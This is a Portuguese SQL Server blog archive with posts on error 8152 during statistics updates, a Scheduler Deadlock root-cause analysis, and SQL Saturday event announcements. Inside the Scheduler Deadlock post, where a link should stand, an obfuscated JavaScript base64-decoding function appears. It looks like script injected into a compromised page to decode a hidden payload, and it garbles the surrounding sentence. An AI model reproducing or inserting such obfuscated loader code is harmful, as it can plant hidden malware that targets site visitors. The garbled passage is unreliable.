abr 24

Erro: String or binary data would be truncated

Problema

Durante a atualização de estatísticas feita através de job agendado o seguinte erro é retornado:

String or binary data would be truncated. The statement has been terminated.

Quando nos deparamos com o erro 8152 "String or binary data would be truncated" paramos para analisar o motivo procurando geralmente por insert ou update onde o valor novo é maior que o valor configurado no data type da coluna.

Por exemplo, se na tabela temos uma coluna VARCHAR(10) mas tentamos inserir um dado com 11 caracteres, este erro é exibido.

Porém, durante uma atualização de estatísticas somente os dados das estatísticas são atualizados então este erro não faz sentido.

Solução

A dica aqui é procurar saber se na database existe alguma trigger de alteração de objeto, disparada quando tentamos fazer um update statistics. Esta trigger sim, por sua vez, pode tentar fazer um insert em uma tabela comumente utilizada para auditoria tentando inserir um dado maior que o data type utilizado permite.

 

 

SQL Saturday #512 RJ

Um dos melhores eventos de SQL Server, mais uma vez no Rio de Janeiro. É o SQL Saturday #512, um evento gratuito do PASS que traz vários palestrantes com diversas sessões técnicas de níveis básico, intermediário e avançado.

Se você quer conhecer as carreiras com bancos de dados, as novidades do SQL Server 2016 ou até mesmo assistir uma sessão extremamente técnica de performance, recuperação de desastre, BI ou ainda TSQL, este evento é feito para você. Ainda por cima vários prêmios são entregues durante todo o evento e principalmente durante o encerramento como livros, treinamentos, e-books, mouses e teclados sem fio, etc.

Quem não é do Rio de Janeiro não precisa se lamentar, a passagem e hospedagem parcelados não pesam no orçamento (mas não deixem pra última hora, hoje 23/05 ainda vale a pena).

 

Quando:   18/06/2016

Onde:  Universidade Veiga de Almeida – RJ

Quanto: Gratuito

 

Veja neste link a quantidade de sessões. e registre-se neste outro link.

Estou preparando uma sessão muito legal sobre o Query Store do SQL 2016, espero vocês por lá!

maio 23

SQL Saturday #512 – RJ

Um dos melhores eventos de SQL Server, mais uma vez no Rio de Janeiro. É o SQL Saturday #512, um evento gratuito do PASS que traz vários palestrantes com diversas sessões técnicas de níveis básico, intermediário e avançado.

Se você quer conhecer as carreiras com bancos de dados, as novidades do SQL Server 2016 ou até mesmo assistir uma sessão extremamente técnica de performance, recuperação de desastre, BI ou ainda TSQL, este evento é feito para você. Ainda por cima vários prêmios são entregues durante todo o evento e principalmente durante o encerramento como livros, treinamentos, e-books, mouses e teclados sem fio, etc.

Quem não é do Rio de Janeiro não precisa se lamentar, a passagem e hospedagem parcelados não pesam no orçamento (mas não deixem pra última hora, hoje 23/05 ainda vale a pena).

Quando:   18/06/2016

Onde:  Universidade Veiga de Almeida - RJ

Quanto: Gratuito

Veja neste link a quantidade de sessões. e registre-se neste outro link.

Estou preparando uma sessão muito legal sobre o Query Store do SQL 2016, espero vocês por lá!

SQL Saturday #488 – Joinville

Evento presencial de SQL Server com palestras de vários profissionais, incluindo MVPs, gratuito.

O SQLSaturday é um evento para profissionais que trabalham com o SQL Server e para os amantes da tecnologia que desejam aprender mais sobre o SQL Server. Pela segunda vez o evento acontecerá em Joinville, que foi muito bom no ano passado.

Perdeu o evento do ano passado? Veja neste link como foi.

Maiores informações direto no site do PASS:

http://www.sqlsaturday.com/488/EventHome.aspx

 

SQL Saturday #469 – Brasilia 2015

SQL_Sat469

Mais um evento gratuito e cheio de palestras técnicas de alto nível, desta vez em Brasília.

O SQLSaturday é um evento para profissionais que trabalham com o SQL Server e para os amantes da tecnologia que desejam aprender mais sobre o SQL Server. Pela segunda vez o evento acontecerá em Brasília, caminhando para se consolidar na agenda de eventos do país.

Maiores informações em português direto no site do PASS:

http://www.sqlsaturday.com/469/eventhome.aspx

 

 

nov 16

Scheduler Deadlock

Você já ouviu falar de Scheduler Deadlock?

Neste artigo vamos ver uma análise de um problema raro, que encontrei pela primeira vez apesar de administrar centenas de instâncias de SQL Server.

Cenário

SQL Server 2008 R2 Standard com SP3 em um servidor Dell R620 com 128GB de RAM, 2 CPU Xeon E5-2660 octacore e 3 discos SAS em RAID5 apresentando lentidão. Foi portanto migrado para outro servidor Dell R820 com 256GB de RAM, 4 CPU Xeon E5-4607 hexacore e SQL Server 2008 R2 Enterprise, também com SP3, com 4 discos SSD em RAID10.

Sintoma

Algumas horas após a migração, de forma intermitente, a instância do SQL Server apresenta lentidão até deixar de responder, não sendo possível conectar para nenhuma finalidade. Ainda existe CPU e memória disponivel mas mesmo assim as queries apresentam timeout e a porta 1433 não responde. Desta forma foi feito rollback na migração, não sendo possível reproduzir o problema.

Análise

Só foi possível analisar após o rollback da migração, sendo necessário um levantamento detalhado do servidor para chegar a uma conclusão.

O max degree of parallelism estava configurado em 12, com cost threshold for parallelism em 75. Como este servidor é composto por 4 nós NUMA de 6 cores cada, de acordo com as recomendações da Microsoft neste link o max defgree of parallelism deveria estar configurado em 8 no máximo, já que a documentação se refere a cores lógicos que, considerando o HT, seria 12 mesmo:

maxdop_microsoft_recomendation

 

Considerando as observações, a configuração poderia ficar entre 4 e 16, dependendo da concorrência.

Até então, eu já tinha visto o paralelismo degradar performance mas nunca tinha visto indisponibilizar uma instância.

Continuando a análise, após uma varredura minuciosa nos logs de aplicação do Windows foi encontrado um log bastante curioso. Não era um warning, error ou critical. Apenas information:

eventID_17884

Este log diz que existem tarefas que não receberam threads para serem executadas, especificamente no NUMA node 0, enquanto o processo do SQL Server estava utilizando apenas 7% de CPU que estava 92% desocupada.

Pesquisando por este erro encontrei function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand-the-tao-of-the-deadlock-scheduler.aspx" target="_blank">este artigo (em inglês) no MSDN que explica o que é o Scheduler Deadlock e quando ele pode ocorrer:

"Uma thread dedicada exclusivamente ao Scheduler Monitor checa periodicamente se algumas condições estão ocorrendo como por exemplo uma thread que não entrega a CPU para outra voluntariamente ou, como neste caso, se os Schedulers pararam de processar threads por algum tempo."

Quando um Scheduler não processa nenhuma thread desde a última verificação do Scheduler Monitor, algumas questões são levantadas para verificar se houve um Scheduler Deadlock:

→Existem tarefas para serem processadas?
→Algum novo worker thread foi criado desde a última verificação do Scheduler Monitor?
→Alguma tarefa foi designada para algum worker thread desde a última verificação?

Se alguma destas condições for positiva e não houver pressão de memória, o Scheduler é considerado em Deadlock. Se todos os schedulers dentro do mesmo nó NUMA estão em deadlock, o evento 17884 é registrado no log de aplicação e um minidump de memória é despejado, se não houver esgotamento da CPU.

Veja como é importante considerar os nós NUMA antes de configurar o paralelismo pois, neste caso, mesmo com os outros 3 nós processando tranquilamente a instância ficou indisponível. Em 2006, até mesmo a Microsoft considerava este tipo de situação rara, conforme este artigo do Bob Dorr. Hoje com servidores com ainda mais nós NUMA é possível que não seja tão raro.

Ainda de acordo com o artigo no MSDN, as principais causas seriam:

Uma grande cadeia de espera por Lock;
Latches;
Spinlocks;
Excesso de paralelismo.

No nosso caso, qual foi a causa?

Sem poder reproduzir o problema fica mais difícil mas temos o dump gerado. O problema é que o dump traz informações de mais de 1.200 threads que estavam em execução no momento do dump.

Analisei então uma amostragem de 100 threads e, apesar de não conhecer muito bem as funções executadas, pesquisando as que mais se repetem encontrei CXPort e CXTransLocal:

DeadLockSchedulerCallBackCXPort

Pelo nome dá pra deduzir que era referente a paralelismo (CX = Class Exchange do CXPACKET) mas quando vamos fazer uma análise de causa raiz temos que ter certeza do que vamos afirmar. Foi aí que pesquisando encontrei este artigo do Customer Advisory Team (SQLCAT) de 2009 que esclareceu bastante.

Agora que analisei a amostra de "apenas" 100 threads colei todo o dump no Excel e mandei pesquisar por estes termos, constatando que estavam presentes em 961 threads das mais de 1.200, confirmando a tese de que o excesso de paralelismo neste workload para este servidor foi o causador do Scheduler Deadlock.

Conclusão

O servidor foi reinstalado, todas as configurações revisadas e uma nova migração foi feita mantendo o paralelismo em 12 com cost threshold for parallelism em 75. Agora com o workload em andamento foi possível analisar melhor. Começamos a chegar bem perto do max worker threads, uma indicação de que passaríamos pelo mesmo problema:

workers

Depois de alterar o paralelismo para 6 a quantidade de workers diminuiu, entregando a performance desejada com distribuição uniforme das threads entre os Schedulers, sem a ocorrência de Scheduler Deadlock.

 

 

 

 

 

 

 

ago 19

SQL Saturday #424 – SP

Conteúdo da apresentação (PPT e scripts utilizados) neste link.

Pelo segundo ano consecutivo terei a honra de palestrar no SQL Saturday de São Paulo!

O SQL Saturday é um grande e organizado evento, voltado não apenas para profissionais de SQL Server mas para todos aqueles que desejam aprender mais sobre o SQL Server e desejam conhecer seus colegas de profissão/estudos, palestrantes, organizadores e empresas do ramo.

São MCMs, MVPs, profissionais de diversas empresas conceituadas no mercado compartilhando informação de qualidade.

A entrada como sempre é gratuita e todos os custos são cobertos por doações e patrocínios. O número de assentos é limitado, então faça o seu registro e avise os amigos e colegas sobre um dos maiores e mais famosos eventos de SQL Server!

Provavelmente será minha última apresentação do tema "Entendendo o Transaction Log", portanto, não perca.

Quem já assistiu terá a oportunidade de rever e aproveitar as novidades que preparei exclusivamente para este evento, com todas as demos. Pra quem ainda não assistiu, vamos falar bastante sobre o funcionamento do Transaction Log, possibilitando que você entenda e defina as “Melhores Práticas” que se aplicam aos ambientes que você gerencia. Veremos como funciona o mecanismo Write Ahead Logging no SQL Server, Checkpoint, VLFs, Fragmentação, TLog Cheio, Shrink e o novo recurso do SQL Server 2014, o Delayed Durability.

São 5 trilhas com um total de 30 palestras com experts de diversas partes do Brasil.

Este ano teremos uma pré-conference apresentada por Kevin Boles com o tema "Tune Like a Guru", em inglês, com vagas limitadas. Clique aqui para maiores informações.

TuneLikeaGuru

Local:

UNIP Tatuapé
Rua Antônio Macedo, 505, São Paulo - CEP 03087-040

Data:

26 de Setembro de 2015 - das 09:00 as 18:00 (recomendo chegar as 8:30)

 

Espero ver todos por lá.

abr 30

IDC Summit

Mais um grande evento gratuito de altíssimo nível com palestrantes de várias empresas conceituadas no mercado que falarão de diversos temas relevantes a todos os profissionais de TI. Estamos falando do IDC Summit!

Neste evento terei a honra de palestrar com grandes nomes, com o tema Alta Disponibilidade, no dia 18/05 as 16:00. Vamos rever conceitos importantes que são base para a tomada de decisão na definição da estratégia de TI.

O IDC Summit possui ainda uma série de palestrantes famosos e conteúdo de altíssimo nível, portanto, não deixe de se registrar clicando aqui.

Início: Segunda-feira 18/05 as 10:00
Término: Domingo 24/05 as 21:00

 

IDCSummitLogo

 

 

SQL Saturday #361 – Joinville

Mais um grande evento de SQL Server organizado pelo PASS, estamos falando do SQL Saturday #361!

O SQL Saturday é um grande e organizado evento, voltado não apenas para profissionais de SQL Server mas para todos aqueles que desejam aprender mais sobre o SQL Server e desejam conhecer seus colegas de profissão/estudos, palestrantes, organizadores e empresas do ramo. Hospedado pela Universidade Univille que fica na Rua Paulo Malschitzki, 10, Zona Industrial Norte, Joinville, Santa Catarina, este evento será realizado no dia 25 de Abril de 2015.

A entrada como sempre é gratuita e todos os custos são cobertos por doações e patrocínios. O número de assentos é limitado, então faça o seu registro e avise os amigos e colegas sobre um dos maiores e mais famosos eventos de SQL Server!

Depois das sessões que apresentei no 24h de PASS, no Virtual PASS, no SQL Saturday de Sâo Paulo e também no SQL Saturday do Rio de Janeiro com o tema“Entendendo as Melhores Práticas de Transaction Log” tive a honra de ter esta sessão aprovada também no SQL Saturday #361 de Joinville!

Quem já assistiu terá a oportunidade de rever e aproveitar as novidades que preparei exclusivamente para este evento. Pra quem ainda não assistiu, vamos falar bastante sobre o funcionamento do Transaction Log, possibilitando que você entenda e defina as “Melhores Práticas” que se aplicam aos ambientes que você gerencia. Veremos como funciona o mecanismo Write Ahead Logging no SQL Server, Checkpoint, VLFs, Fragmentação, TLog Cheio, Shrink e o novo recurso do SQL Server 2014, o Delayed Durability.

São 3 sessões simultâneas, muitos temas de diversas trilhas diferentes com muitos feras entre MVPs, PFEs, e palestrantes internacionais.

Veja mais detalhes do evento e registre-se neste link.

Quem pretende sair de SP para Joinville deve comprar logo suas passagens. Partindo de Congonhas, ida e volta por 10x de R$ 27,00. O hotel chamado Hotel 10 que fica bem próximo e dispensa a necessidade de taxi custa R$ 152,10

Espero ver todos por lá!

mar 09

SQL Saturday #361 – Joinville

Disponível para download clicando aqui o material utilizado na sessão "Entendendo o Transaction Log" do SQL Saturday #361 - Joinville.

Obrigado!

Mais um grande evento de SQL Server organizado pelo PASS, estamos falando do SQL Saturday #361!

O SQL Saturday é um grande e organizado evento, voltado não apenas para profissionais de SQL Server mas para todos aqueles que desejam aprender mais sobre o SQL Server e desejam conhecer seus colegas de profissão/estudos, palestrantes, organizadores e empresas do ramo. Hospedado pela Universidade Univille que fica na Rua Paulo Malschitzki, 10, Zona Industrial Norte, Joinville, Santa Catarina, este evento será realizado no dia 25 de Abril de 2015.

A entrada como sempre é gratuita e todos os custos são cobertos por doações e patrocínios. O número de assentos é limitado, então faça o seu registro e avise os amigos e colegas sobre um dos maiores e mais famosos eventos de SQL Server!

Depois das sessões que apresentei no 24h de PASS, no Virtual PASS, no SQL Saturday de Sâo Paulo e também no SQL Saturday do Rio de Janeiro com o tema "Entendendo as Melhores Práticas de Transaction Log" tive a honra de ter esta sessão aprovada também no SQL Saturday #361 de Joinville!

Quem já assistiu terá a oportunidade de rever e aproveitar as novidades que preparei exclusivamente para este evento. Pra quem ainda não assistiu, vamos falar bastante sobre o funcionamento do Transaction Log, possibilitando que você entenda e defina as "Melhores Práticas" que se aplicam aos ambientes que você gerencia. Veremos como funciona o mecanismo Write Ahead Logging no SQL Server, Checkpoint, VLFs, Fragmentação, TLog Cheio, Shrink e o novo recurso do SQL Server 2014, o Delayed Durability.

São 3 sessões simultâneas, muitos temas de diversas trilhas diferentes com muitos feras entre MVPs, PFEs, e palestrantes internacionais.

Veja mais detalhes do evento e registre-se neste link.

Quem pretende sair de SP para Joinville deve comprar logo suas passagens. Partindo de Congonhas, ida e volta por 10x de R$ 27,00. O hotel chamado Hotel 10 que fica bem próximo e dispensa a necessidade de taxi custa R$ 152,10

Espero ver todos por lá!

SQLSat_361_logo

out 25

SQL Saturday 329 RJ – Material

É sempre muito gratificante participar dos SQL Saturdays e este #329 no Rio de Janeiro não poderia ser diferente. A gente aproveita pra rever os amigos, conhece muita gente de todo o Brasil e tem a oportunidade de falar com vários palestrantes feras entre MVPs e MCMs, desta vez até de fora do Brasil.

Para este evento consegui disponibilizar o material logo após a apresentação pra quem quiser baixar o PPT e as Demos. Para isso, por favor  clique aqui.

Nas Dicas da Semana do SQL Dicas! serão enviadas as fotos do evento, pra quem é assinante. Se você não é assinante das Dicas da Semana do SQL Dicas! não perca tempo, clique aqui para se cadastrar apenas com o seu nome e Email.

 

 

 

 

SQL Saturday #329 – Rio de Janeiro

Este evento será em 25/10/2014, iniciando os credenciamentos para entrada as 8:00am na Universidade Veiga de Almeida, que fica na Rua Ibituruna, 108, Maracanã, Rio de Janeiro, RJ, CEP 20271-020.

A entrada ao evento é gratuita, todos os custos são cobertos por doações e patrocínios destas empresas e de dezenas de voluntários. Os lugares são limitados, registre-se para garantir sua vaga, e compartilhe com os outros para que todos possam comparecer.

Nesta edição do SQL Saturday teremos 4 sessões simultâneas, com BI, Administration, Disaster Recovery, Developer e Carreira. Falarei na sessão Transaction Log - Melhores Práticas as 15:00 com uma apresentação que preparei especialmente para o evento. Teremos também a participação de 4 palestrantes internacionais e uma Pré Conference bem bacana sobre In-Memory OLTP Internals com o Pedro Correia e o Murilo Miranda. Veja mais detalhes desta excelente oportunidade aqui neste link.

 

Não perca tempo, avise seus amigos e registre-se pois os lugares são limitados.

Link para o registro:  https://www.sqlsaturday.com/329/register.aspx

 

out 06

SQL Saturday 325 SP – Material

Foi muito gratificante participar do SQL Saturday #325 em São Paulo. Muita gente de todo o Brasil, vários palestrantes feras entre MVPs e MCMs, além de poder falar sobre o Transaction Log.

Teremos outra sessão no SQL Saturday #329 no Rio de Janeiro, espero vocês por lá.

Enquanto isso, quem quiser baixar o PPT e as Demos, clique aqui.

 

 

 

 

SQL Saturday #325 – São Paulo 2014

SQLSaturday é um evento de capacitação para profissionais de SQL Server, Business Intelligence e aqueles que querem aprender sobre o universo da Plataforma de Dados da Microsoft.

Este evento será em 27/09/2014, iniciando os credenciamentos para entrada as 8:00am na UNIP Tatuapé, que fica na Rua Antônio Macedo, 505 - Parque São Jorge, Tatuapé - São Paulo - SP, São Paulo, 03087-040.

A entrada ao evento é gratuita, todos os custos são cobertos por doações e patrocínios destas empresas e de dezenas de voluntários. Os lugares são limitados, registre-se para garantir sua vaga, e compartilhe com os outros para que todos possam comparecer.

Nesta edição do SQL Saturday teremos 5 sessões simultâneas, com BI, Administration, Disaster Recovery, Developer e Carreira. Falarei na sessão Transaction Log - Melhores Práticas as 10:30 com uma apresentação que preparei especialmente para o evento.

 

Não perca tempo, avise seus amigos e registre-se pois os lugares são limitados.

Link para o registro:  http://www.sqlsaturday.com/325/register.aspx

 

 

Posts mais antigos «